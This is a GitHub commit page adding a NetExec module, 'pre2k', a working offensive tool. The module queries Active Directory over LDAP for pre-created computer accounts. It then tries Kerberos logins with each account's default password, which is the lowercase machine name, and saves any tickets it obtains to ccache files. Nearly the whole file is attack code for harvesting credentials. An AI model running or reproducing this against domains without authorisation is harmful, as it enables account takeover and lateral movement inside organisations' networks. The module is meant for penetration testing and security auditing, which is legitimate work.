Skip to content

Commit 45a9121

Browse files
authored
Merge pull request Pennyw0rth#328 from Shad0wC0ntr0ller/pre2k
Identify Pre-Created Computer Accounts
2 parents 9bc05e5 + 0034048 commit 45a9121

1 file changed

Lines changed: 126 additions & 0 deletions

File tree

nxc/modules/pre2k.py

Lines changed: 126 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,126 @@
1+
import os
2+
from impacket.krb5.kerberosv5 import getKerberosTGT
3+
from impacket.krb5.ccache import CCache
4+
from impacket.krb5.types import Principal
5+
from impacket.krb5 import constants
6+
7+
from nxc.parsers.ldap_results import parse_result_attributes
8+
from nxc.paths import NXC_PATH
9+
10+
11+
class NXCModule:
12+
"""
13+
Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each pre-created computer account.
14+
Module by: @shad0wcntr0ller
15+
"""
16+
name = "pre2k"
17+
description = "Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each"
18+
supported_protocols = ["ldap"]
19+
opsec_safe = True
20+
multiple_hosts = False
21+
22+
def options(self, context, module_options):
23+
pass
24+
25+
def on_login(self, context, connection):
26+
try:
27+
ldap_connection = connection.ldapConnection
28+
29+
# Define the search filter for pre-created computer accounts
30+
search_filter = "(&(objectClass=computer)(userAccountControl=4128))"
31+
attributes = ["sAMAccountName", "userAccountControl", "dNSHostName"]
32+
33+
context.log.info(f"Using search filter: {search_filter}")
34+
context.log.info(f"Attributes to retrieve: {attributes}")
35+
36+
computers = []
37+
38+
try:
39+
# Use paged search to retrieve all computer accounts with specific flags
40+
search_results = connection.search(search_filter, attributes)
41+
results = parse_result_attributes(search_results)
42+
context.log.debug(f"Search results: {results}")
43+
44+
for computer in results:
45+
context.log.debug(f"Processing computer: {computer['sAMAccountName']}, UAC: {computer['userAccountControl']}")
46+
# Check if the account is a pre-created computer account
47+
if int(computer["userAccountControl"]) == 4128: # 4096 | 32
48+
computers.append(computer["sAMAccountName"])
49+
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
50+
51+
# Save computers to file
52+
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
53+
output_file = os.path.join(domain_dir, "precreated_computers.txt")
54+
55+
# Create directories if they do not exist
56+
os.makedirs(domain_dir, exist_ok=True)
57+
58+
with open(output_file, "w") as file:
59+
for computer in computers:
60+
file.write(f"{computer}\n")
61+
62+
# Print discovered pre-created computer accounts
63+
if computers:
64+
for computer in computers:
65+
context.log.highlight(f"Pre-created computer account: {computer}")
66+
context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}")
67+
else:
68+
context.log.info("No pre-created computer accounts found.")
69+
70+
# Obtain TGTs and save to ccache
71+
ccache_base_dir = f"{NXC_PATH}/modules/pre2k/ccache"
72+
os.makedirs(ccache_base_dir, exist_ok=True)
73+
74+
successful_tgts = 0
75+
76+
for computer in computers:
77+
machine_name = computer[:-1].lower() # Remove trailing '$' and convert to lowercase
78+
if self.get_tgt(context, machine_name, connection.domain, connection.kdcHost, ccache_base_dir):
79+
successful_tgts += 1
80+
81+
# Summary of TGT results
82+
context.log.success(f"Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}")
83+
84+
except Exception as e:
85+
context.log.fail(f"Error occurred during search: {e}")
86+
87+
ldap_connection.close()
88+
return True
89+
90+
except Exception as e:
91+
context.log.fail(f"Error occurred during LDAP connection: {e}")
92+
return False
93+
94+
def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir):
95+
try:
96+
userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
97+
password = username # Password is the machine name in lowercase
98+
context.log.info(f"Getting TGT for {username}@{domain}")
99+
100+
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
101+
clientName=userName,
102+
password=password,
103+
domain=domain,
104+
lmhash="",
105+
nthash="",
106+
aesKey="",
107+
kdcHost=kdcHost,
108+
serverName=None
109+
)
110+
111+
self.save_ticket(context, username, tgt, oldSessionKey, ccache_base_dir)
112+
context.log.success(f"Successfully obtained TGT for {username}@{domain}")
113+
return True
114+
except Exception as e:
115+
context.log.fail(f"Failed to get TGT for {username}@{domain}: {e}")
116+
return False
117+
118+
def save_ticket(self, context, username, ticket, sessionKey, ccache_base_dir):
119+
try:
120+
ccache = CCache()
121+
ccache.fromTGT(ticket, sessionKey, sessionKey)
122+
ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache")
123+
ccache.saveFile(ccache_filename)
124+
context.log.info(f"Saved ticket in {ccache_filename}")
125+
except Exception as e:
126+
context.log.fail(f"Failed to save ticket for {username}: {e}")

0 commit comments

Comments
 (0)